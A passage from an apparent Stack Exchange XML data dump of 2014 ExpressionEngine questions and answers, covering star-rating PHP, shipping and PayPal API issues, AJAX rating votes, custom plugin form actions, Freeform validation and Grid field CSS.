&quot;{rating2}&quot; + &quot;{rating3}&quot; + &quot;{rating4}&quot;)/$rating_count;&#xA;&#xA;for($i = 1; $i &amp;lt;= $rating_avg; $i++)&#xA;{&#xA;    echo '&amp;lt;img src=&quot;/i/star-100.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;';&#xA;}&#xA;&#xA;$rounded_rating_avg = floor($rating_avg);&#xA;$rating_avg_decimal = $rating_avg - $rounded_rating_avg;&#xA;&#xA;switch($rating_avg_decimal)&#xA;{&#xA;    case 0.25;&#xA;        echo '&amp;lt;img src=&quot;/i/star-25.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;';&#xA;    break;&#xA;    case 0.50;&#xA;        echo '&amp;lt;img src=&quot;/i/star-50.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;';&#xA;    break;&#xA;    case 0.75;&#xA;        echo '&amp;lt;img src=&quot;/i/star-75.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;';&#xA;    break;&#xA;}&#xA;&#xA;$rating_max_diff = 5 - $rounded_rating_avg - 1;&#xA;&#xA;if ($rating_avg == $rounded_rating_avg)&#xA;{&#xA;    $rating_max_diff++;&#xA;}&#xA;&#xA;for($i = 1; $i &amp;lt;= $rating_max_diff; $i++)&#xA;{&#xA;    echo '&amp;lt;img src=&quot;/i/star-0.png&quot; width=&quot;14&quot; height=&quot;14&quot; class=&quot;rating_star&quot; /&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-02-09T19:53:54.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19272" PostTypeId="2" ParentId="19270" CreationDate="2014-02-09T20:36:42.573" Score="2" Body="&lt;p&gt;Regarding the first error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Dimensions are missing for package, unable to calculate postage.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It sounds like you have fixed this by changing the &quot;Size&quot; option from Large to Regular in the USPS extension settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding your second error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Couldn't resolve host 'production.shippingapis.com'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This means that your server cannot communicate with the outside world. It's likely a problem with your web host/server (for example, a firewall blocking external requests). It's strange that it only happens sometimes though. I would test it on a different host (for example, locally), or ask your web host whether they have anything which may be blocking &quot;curl&quot; requests. If this is a problem for communicating with USPS, it's likely going to be a problem communicating with your payment gateway too, so it's worth getting fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also possible that USPS was experiencing downtime while you were testing (which would explain the intermittent failures), but this seems less likely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're working to improve the error handling inside shipping methods, so forgive the user-unfriendly errors. However, in general, except for major issues like this (unable to communicate with USPS), the shipping extensions will normally fail silently so that your customers can continue shopping.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-02-09T20:36:42.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19273" PostTypeId="2" ParentId="19266" CreationDate="2014-02-09T20:48:16.900" Score="2" Body="&lt;p&gt;Correct, the order custom fields belong to the order, not individual line items, so they will be the same for all items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better way to approach this would be to generate the random string (gift card token) when you add the individual product to the cart, using modifiers. Store will always merge duplicate products into a single line item, however if they have different modifiers then they will not be merged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can start by using &lt;a href=&quot;https://exp-resso.com/docs/product_tag.html#input_custom_modifier_name_name&quot; rel=&quot;nofollow&quot;&gt;custom text modifiers&lt;/a&gt; in your product tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;123&quot; input:code=&quot;Gift Code&quot;}&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;code&quot; value=&quot;random-string&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;item_qty&quot; value=&quot;1&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Add to Cart&quot; /&amp;gt;&#xA;&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To let customers choose a price, you can either create modifiers on the publish page, or simply create unique products for each price, or you can enable &quot;dynamic product prices&quot; for the channel field, and let customers submit a &lt;code&gt;price&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in your cart, each item will have a different unique code, and will appear as a separate line item on the invoice. Using this method you won't need to use order custom fields.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-02-09T20:48:16.900" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19274" PostTypeId="2" ParentId="19028" CreationDate="2014-02-09T22:20:48.843" Score="0" Body="&lt;p&gt;Here's what I came up with to solve this dilemma:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I used a &quot;0&quot; value instead of null on the N/A option values so on my client-side form validation the select boxes could easily be detected as required, and correcly identified as filled in even when the N/A option is selected.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once the form is validated via javascript I ran a function to swap out all &quot;0&quot; values for null before the form is submitted. (I never want to submit a 0 value or it will mess up rating stats/average).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Form is then submitted with null values for any rating fields selected as N/A, and I've set those fields as not required in Rating's own required param so the submission is accepted. This means no server-side validation of those ratings fields but it shouldn't matter as it was already validated via javascript.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The result is a form that allows any of those fields to be unrated but also requires those select boxes to have some value selected.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-02-09T22:20:48.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19275" PostTypeId="1" AcceptedAnswerId="20056" CreationDate="2014-02-09T23:53:17.350" Score="4" ViewCount="325" Body="&lt;p&gt;I'm trying to use AJAX to streamline the Rating Vote feature of Solspace Rating so the success or error code from the &lt;code&gt;{exp:rating:insert_rating_vote}&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my {rating:entries} template I have this code for the up down voting links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:rating_vote_stats rating_id=&quot;{rating_id}&quot;}&#xA;{if not_already_voted}&amp;lt;span class=&quot;helpful&quot;&amp;gt;&amp;lt;strong&amp;gt;Was this review helpful?&amp;lt;/strong&amp;gt;&amp;lt;span class=&quot;voters&quot;&amp;gt;&amp;lt;a href=&quot;/vendor/rating-vote/{rating_id}/up/&quot; class=&quot;yes&quot;&amp;gt;Yes&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;|&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;a href=&quot;/vendor/rating-vote/{rating_id}/down/&quot; class=&quot;no&quot;&amp;gt;No&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;ajax-response&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;{/if}&#xA;{if already_voted}&amp;lt;span class=&quot;helpful&quot;&amp;gt;&amp;lt;strong&amp;gt;Was this review helpful?&amp;lt;/strong&amp;gt;&amp;lt;span class=&quot;ajax-response&quot;&amp;gt;Thanks for your vote&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;{/if}&#xA;{if total &amp;gt; 0}&amp;lt;span class=&quot;light people-like&quot;&amp;gt;{up_votes}/{total} people liked this review&amp;lt;/span&amp;gt;{/if}&#xA;{/exp:rating:rating_vote_stats}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the /vendor/rating-vote template those links point to contains this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:insert_rating_vote&#xA;    rating_id=&quot;{segment_3}&quot;&#xA;    allow_duplicates=&quot;no&quot;&#xA;    duplicate_check_guest_ip=&quot;no&quot; &#xA;}&#xA;{if failure}Error!{/if}{if success}Thanks for your vote{/if}&#xA;{/exp:rating:insert_rating_vote}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This setup works as expected. When I click the link I go to that simple template which returns my failure or success message and the up/down vote is recorded and shows in my stats. I see:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Thanks for your vote&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;When I try to load the template via AJAX is doesn't work as expected.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using this JS code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;.voters .yes, .voters .no&quot;) .click (function() {&#xA;    var link = $(this).attr(&quot;href&quot;)&#xA;    var $helpful = $(this).closest(&quot;.helpful&quot;);&#xA;    $helpful.find(&quot;.ajax-response&quot;).load(link, function() {&#xA;        $helpful.find(&quot;.voters&quot;).hide();&#xA;    });&#xA;    return false;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works except the content loaded into my span is not the same as the ouput I got before. This is what I get in my template where I would expect the simple success message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{&quot;success&quot;:true,&quot;failure&quot;:false,&quot;message&quot;:&quot;Your input is&#xA;  appreciated.&quot;,&quot;already_reviewed&quot;:false,&quot;not_already_reviewed&quot;:true,&quot;prior_review_count&quot;:0,&quot;count&quot;:1}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any advice on how to get this working?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-03-06T21:01:43.777" Title="Solspace Rating vote up/down using AJAX" Tags="|solspace|ajax|solspace-rating|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19276" PostTypeId="1" AcceptedAnswerId="19358" CreationDate="2014-02-09T23:54:18.593" Score="1" ViewCount="222" Body="&lt;p&gt;For CartThrob and Expresso Store guys, just had this email from PayPal this morning:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In an upcoming system upgrade, the following API endpoints will be updated:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;api.paypal.com&lt;/li&gt;&#xA;&lt;li&gt;api-3t.paypal.com&lt;/li&gt;&#xA;&lt;li&gt;svcs.paypal.com&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please make sure you are ready for this event by consulting with your technology team or individual(s) responsible for your PayPal integration.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;When is this happening?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This upgrade will occur on 26 March 2014 at 5:00 p.m Australian Eastern Daylight Time (AEDT).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;*&lt;/em&gt; If you are integrated with a partner or a cart, please view our FAQs for more information.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;What do I need to do?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Your technical team or individual(s) responsible for your PayPal integration will need to examine your current integration and make necessary changes as outlined below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your site is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Calling our APIs with a hardcoded PayPal API endpoint IP address, rather than using DNS resolution:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Impact of upgrade: API calls will timeout or your will encounter an internal error from your system.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You need to: Use DNS resolution to access our API endpoints and/or open your firewall to the new IP addresses which will be communicated later.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using HTTP methods other than GET, POST, DELETE and PUT:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Impact of upgrade: API calls will return HTTP/1.0 400 Bad Request or HTTP Error 405 Method not allowed.&lt;/li&gt;&#xA;&lt;li&gt;You need to: Send the API requests using one of the allowed methods. Heartbeat calls using the HEAD method won’t be allowed.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using the HTTP 1.0 protocol:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Impact of upgrade: API calls will return HTTP/1.0 400 Bad Request.&lt;/li&gt;&#xA;&lt;li&gt;You need to: Update your code to HTTP 1.1 and include the Host header in the API request.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Needing firewall changes to allow new IP addresses:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Impact of upgrade: API calls will error out if your system responsible for making API calls to PayPal is behind a firewall that uses Access Control List (ACL) rules and limits outbound traffic to a limited number of IP addresses.&lt;/li&gt;&#xA;&lt;li&gt;You need to: Update your firewall ACL to allow outbound access to a new set of IP addresses we will be publishing. Test your integration on Sandbox (see the IP addresses for Sandbox API endpoints). The list of new IP addresses for our Live API endpoints will be posted here when available in January.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Will this require add-on updates? And if so, will it affect v1 versions of the software too?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2014-02-19T23:53:39.313" Title="PayPal API endpoint updates" Tags="|expresso-store|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19277" PostTypeId="2" ParentId="19276" CreationDate="2014-02-10T00:26:24.970" Score="2" Body="&lt;p&gt;This should not have any impact on Expresso Store (both versions 1.x and 2.x). We use DNS resolution and standard HTTP verbs, so none of the changes above will affect Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(and we use PayPal on our own site, so if anything does happen, we will be the first to know about it!)&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2014-02-19T23:53:39.313" LastActivityDate="2014-02-19T23:53:39.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19279" PostTypeId="1" AcceptedAnswerId="19280" CreationDate="2014-02-10T06:20:38.627" Score="0" ViewCount="186" Body="&lt;p&gt;I am building a custom plugin to process a form. I am new to custom plugins and after looking at several different tutorials I am stuck on my form action. I would like to access the process form method in the class, is this correct with EE and if so, how do I go about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Myform {&#xA;&#xA;public function __construct()&#xA;{&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;}&#xA;&#xA;public function form()&#xA;{&#xA;&#xA;    $form_data = array(&#xA;        &quot;id&quot;    =&amp;gt; $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;form_id,&#xA;        &quot;class&quot; =&amp;gt; $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;form_class,&#xA;        &quot;action&quot; =&amp;gt; //process_form()&#xA;    );&#xA;&#xA;    $tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;&#xA;    $form = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;form_declaration($form_data) . $tagdata . &quot;&amp;lt;/form&amp;gt;&quot;;&#xA;&#xA;    return $form;&#xA;}&#xA;&#xA;public function process_form()&#xA;{&#xA;    return &quot;testing&quot;;&#xA;}&#xA;// --------------------------------------------------------------------&#xA;&#xA;/**&#xA; * Usage&#xA; *&#xA; * Plugin Usage&#xA; *&#xA; * @access  public&#xA; * @return  string&#xA; */&#xA;function usage()&#xA;{&#xA;    ob_start(); &#xA;    ?&amp;gt;&#xA;&#xA;    Documentation will go here&#xA;&#xA;    &amp;lt;?php&#xA;    $buffer = ob_get_contents();&#xA;&#xA;    ob_end_clean(); &#xA;&#xA;    return $buffer;&#xA;}&#xA;&#xA;// --------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&#xA;// END CLASS&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2014-02-10T09:13:11.483" Title="Custom Plugin to Process Form" Tags="|module|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19280" PostTypeId="2" ParentId="19279" CreationDate="2014-02-10T07:33:46.827" Score="2" Body="&lt;p&gt;You create a &lt;em&gt;plugin&lt;/em&gt; or &lt;em&gt;module&lt;/em&gt;? Because actions is using in Modules.&#xA;You can add new action to the system using next query (usually in function &lt;em&gt;install&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql[] = &quot;INSERT INTO exp_actions (class, method) VALUES ('module_name', 'my_action_procedure')&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how to get action id for specific method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $form_data = array(&#xA;        &quot;id&quot;    =&amp;gt; $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('form_id',''),&#xA;        &quot;class&quot; =&amp;gt; $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('form_class',''),&#xA;        &quot;action&quot; =&amp;gt; ee()-&amp;gt;functions-&amp;gt;fetch_action_id('module_name', 'process_form');&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you don't want to develop module, just give user option to add another template name as base for processing form, like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ext:myform process_uri=&quot;home/process&quot; form_id=&quot;my-form&quot; form_class=&quot;super-form-class&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;home/process&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ext:my_plugin:process_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-02-10T09:13:11.483" LastActivityDate="2014-02-10T09:13:11.483" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19281" PostTypeId="2" ParentId="19207" CreationDate="2014-02-10T08:51:15.250" Score="0" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    require_once &quot;php.include/user_agent.inc.php&quot;;&#xA;?&amp;gt;&#xA;{embed=&quot;include/.head&quot;}&#xA;&#xA;{if segment_1 == &quot;&quot;}&#xA;    {exp:channel:entries channel=&quot;index&quot; limit=&quot;1&quot;} &#xA;        {exp:replace_plus find=&quot;index.php|.php|/app&quot; replace=&quot;{path='site_index'}||{path='site_index'}app/&quot; multiple=&quot;yes&quot;}&#xA;            {responsive_body_{language_code}}&#xA;        {/exp:replace_plus}&#xA;    {/exp:channel:entries}&#xA;{/if}&#xA;&#xA;{exp:channel:entries channel=&quot;multi_version|responsive&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;    {if segment_1 != &quot;&quot;}&#xA;        {if no_results}&#xA;            {redirect=&quot;404&quot;}&#xA;        {/if}&#xA;    {/if}&#xA;    {exp:replace_plus find=&quot;index.php|.php|/app&quot; replace=&quot;{path='site_index'}||{path='site_index'}app/&quot; multiple=&quot;yes&quot;}&#xA;        {exp:switchee variable=&quot;{channel_name}&quot; parse=&quot;inward&quot;}&#xA;            {case value=&quot;responsive&quot;}&#xA;                {exp:allow_eecode embed=&quot;yes&quot;}&#xA;                    {responsive_body_{language_code}}&#xA;                {/exp:allow_eecode}&#xA;            {/case}&#xA;            {case value=&quot;multi_version&quot;}&#xA;                &amp;lt;?php&#xA;                    if(userAgent($_SERVER['HTTP_USER_AGENT']) == &quot;mobile&quot;){&#xA;                ?&amp;gt;&#xA;                        {mobile_body_{language_code}}&#xA;                &amp;lt;?php&#xA;                    } else{&#xA;                ?&amp;gt;&#xA;                        {normal_body_{language_code}}&#xA;                &amp;lt;?&#xA;                    }&#xA;                ?&amp;gt;&#xA;            {/case}&#xA;        {/exp:switchee}&#xA;    {/exp:replace_plus}&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that's the code, a bit complicate, but it work in other parts. the problem is in case responsive, where you can see {exp:allow_eecode embed=&quot;yes&quot;}. in that field i have an embed like {embed=&quot;include/.newslist&quot;}&#xA;and in my .newslist template I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test {language_code}&#xA;&#xA;{exp:channel:entries channel=&quot;news&quot;}&#xA;    {news_title_{language_code}}&#xA;    test 2&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can see only &quot;test it&quot; in my responsive entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one news and it seems to be all fine. I can't got it.&lt;/p&gt;&#xA;" OwnerUserId="2719" LastActivityDate="2014-02-10T08:51:15.250" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19282" PostTypeId="1" CreationDate="2014-02-10T09:06:12.373" Score="1" ViewCount="40" Body="&lt;p&gt;I'm building a portfolio site, on which user profiles shall become invisible after a custom period of time. So users can purchase e.g. a month of public display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible using CartThrob? Maybe having the user purchase a product with an expiration date or something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="321" LastActivityDate="2014-02-10T21:04:07.013" Title="Content restiction based on product expiration" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19284" PostTypeId="1" CreationDate="2014-02-10T11:57:25.107" Score="0" ViewCount="78" Body="&lt;p&gt;By that I mean can an email field be presented twice on a form and the entry have to match before form submission is allowed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best wishes&#xA;Lee&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2014-02-10T12:00:28.453" Title="Freeform email validation possible?" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19285" PostTypeId="2" ParentId="19284" CreationDate="2014-02-10T12:00:28.453" Score="1" Body="&lt;p&gt;Found the answer in the documentation here: &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#matching_fields&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/#matching_fields&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2014-02-10T12:00:28.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19286" PostTypeId="1" AcceptedAnswerId="19532" CreationDate="2014-02-10T13:43:32.947" Score="0" ViewCount="67" Body="&lt;p&gt;We have number of sites running the P&amp;amp;T Assets add-on. All are working fine and allow us to 'Edit' the properties of a file or image when right-clicking on the asset. However, we've just started a new build &lt;strong&gt;using EE: v2.7.3 and Assets: 2.2.2&lt;/strong&gt; and for some reason, choosing 'Edit' when right-clicking doesn't display the edit pop-up. We can successfully choose 'View', 'Rename' and 'Delete'...but choosing 'Edit' does nothing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried in Safari, Chrome and Firefox. All fail. I'm guessing it's a permissions issue? However, I'm logged in as 'Super Admin'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gary&lt;/p&gt;&#xA;" OwnerUserId="952" LastActivityDate="2014-02-18T13:46:14.560" Title="Can't 'Edit' an asset in the Assets module" Tags="|assets|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19287" PostTypeId="1" CreationDate="2014-02-10T14:00:45.280" Score="1" ViewCount="100" Body="&lt;p&gt;So I've been customising the admin area with styling and low key branding - but cannot find any way of editing the meta titles, so am currently stuck with &lt;em&gt;Login | ExpressionEngine&lt;/em&gt; etc in the &lt;code&gt;&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;&lt;/code&gt; of every admin page. Does anyone know how to change this? Ideally I'd like it to say &lt;em&gt;Login | NameOfMySite&lt;/em&gt; etc, so the client feels happy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated, I've looked all over, with no luck.&lt;/p&gt;&#xA;" OwnerUserId="1094" LastActivityDate="2014-02-22T18:26:10.623" Title="Customise Meta Titles in CP (Admin) Pages" Tags="|control-panel|admin|title|custom|meta|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19288" PostTypeId="1" AcceptedAnswerId="19289" CreationDate="2014-02-10T14:41:44.073" Score="3" ViewCount="462" Body="&lt;p&gt;I need to set up a Grid field with several columns – perhaps 5 or more. When this field is presented in the Publishing page the columns get very narrow unless the user has a very wide browser window (which of course cannot be assumed). Does anybody know of an add-on or some other way to alleviate this issue – perhaps something that lets columns be sized in pixels rather than percentages and allows the Grid field scroll sideways on the publishing page, the same way it does when it is being defined?&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2014-02-13T14:58:01.683" Title="Managing multiple columns in the Grid field" Tags="|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19289" PostTypeId="2" ParentId="19288" CreationDate="2014-02-10T15:10:17.850" Score="2" Body="&lt;p&gt;If you'd rather give Grid tables a fixed width so that the individual columns don't get compressed, you can add your own css rule using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/cp_styles/#overriding-control-panel-style&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;override.css.&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;table.grid_field {&#xA;    width: 1500px !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will force horizontal scrollbar for screens not wide enough and keep the grid column widths reasonable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of doing this globally, it may be more useful to target a specific Grid field. You can use a field_id-specific selector like &lt;code&gt;#field_id_63 table.grid_field&lt;/code&gt; (just make a note of your field_id or use the web inspector to see it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative to override.css you can also put a style tag right into your field instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd rather not have the Grid field sticking out off the side of the page, you could set &lt;code&gt;overflow: scroll;&lt;/code&gt; on the &lt;code&gt;.grid_field_container_cell&lt;/code&gt; which will keep everything neatly contained in the publish form, but still give you a horizontal scrollbar.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;table.grid_field_container td.grid_field_container_cell {&#xA;    overflow: scroll;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-02-13T14:58:01.683" LastActivityDate="2014-02-13T14:58:01.683" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19290" PostTypeId="1" CreationDate="2014-02-10T15:32:28.057" Score="1" ViewCount="48" Body="&lt;p&gt;Hi think this is a long shot! but just incase…&#xA;would it be possible to calculate a total with Freeform pro, eg for an order form featuring:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Number of items?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if there were 10 selected (drop down) at £20 &lt;em&gt;each&lt;/em&gt; the result then calculated and entered as a field (automatically) would thus be £200?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2569" LastActivityDate="2014-02-10T15:32:28.057" Title="Freeform Pro – calculate total" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19291" PostTypeId="2" ParentId="18960" CreationDate="2014-02-10T15:45:49.903" Score="2" Body="&lt;p&gt;Assets is the most advanced file manager for EE, so if it doesn't do it then there isn't an out of the box solution for EE.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-02-10T15:45:49.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
